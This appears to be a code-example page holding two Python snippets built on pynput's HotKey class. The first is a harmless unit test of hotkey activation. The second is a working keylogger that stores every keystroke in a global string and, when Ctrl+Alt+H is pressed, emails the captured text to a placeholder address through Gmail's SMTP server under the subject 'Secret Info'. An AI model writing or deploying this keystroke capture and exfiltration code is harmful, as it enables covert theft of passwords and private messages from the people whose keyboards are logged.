def test_activate_combo(self):
        activations = []

        def on_activate():
            activations.append(True)

        hk = HotKey({k.ctrl, kc.from_char('a')}, on_activate)

        hk.press(kc.from_char('b'))
        self.assertEqual(0, len(activations))
        hk.release(kc.from_char('b'))
        self.assertEqual(0, len(activations))

        hk.press(kc.from_char('a'))
        self.assertEqual(0, len(activations))
        hk.release(kc.from_char('a'))
        self.assertEqual(0, len(activations))

        hk.press(k.ctrl)
        self.assertEqual(0, len(activations))
        hk.release(k.ctrl)
        self.assertEqual(0, len(activations))

        hk.press(kc.from_char('a'))
        hk.press(k.ctrl)
        self.assertEqual(1, len(activations))
        hk.press(kc.from_char('a'))
        hk.press(k.ctrl)
        self.assertEqual(1, len(activations))
        hk.release(k.ctrl)
        hk.press(k.ctrl)
        self.assertEqual(2, len(activations))
        hk.release(kc.from_char('a'))
        hk.press(kc.from_char('a'))
        self.assertEqual(3, len(activations))
Beispiel #2
0
def main():
    #Email Stuff
    gmail_user = ""
    gmail_password = ""
    sent_from = gmail_user
    to = [""]
    subject = "Secret Info"

    #Sends our email and stops the keylogger
    def on_activate():
        print("Hotkey Pressed")
        try:
            server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
            server.ehlo()
            server.login(gmail_user, gmail_password)
            print(body)
            email_text = """\
                    From: {}, 
                    To: {} 
                    Subject: {} 

                    {}""".format(sent_from, to, subject, body)
            server.sendmail(sent_from, to, email_text)
            server.close()
            print("Email Sent")
            print(email_text)
        except:
            print("something wrong yo")

        sys.exit(0)

    def on_press(key):
        global body
        body = body + str(key)

    def for_canonical(f):
        return lambda k: f(listener.canonical(k))

    hotkey = HotKey(HotKey.parse('<ctrl>+<alt>+h'), on_activate)

    with Listener(on_press=on_press,
                  on_release=for_canonical(hotkey.press)) as listener:
        listener.join()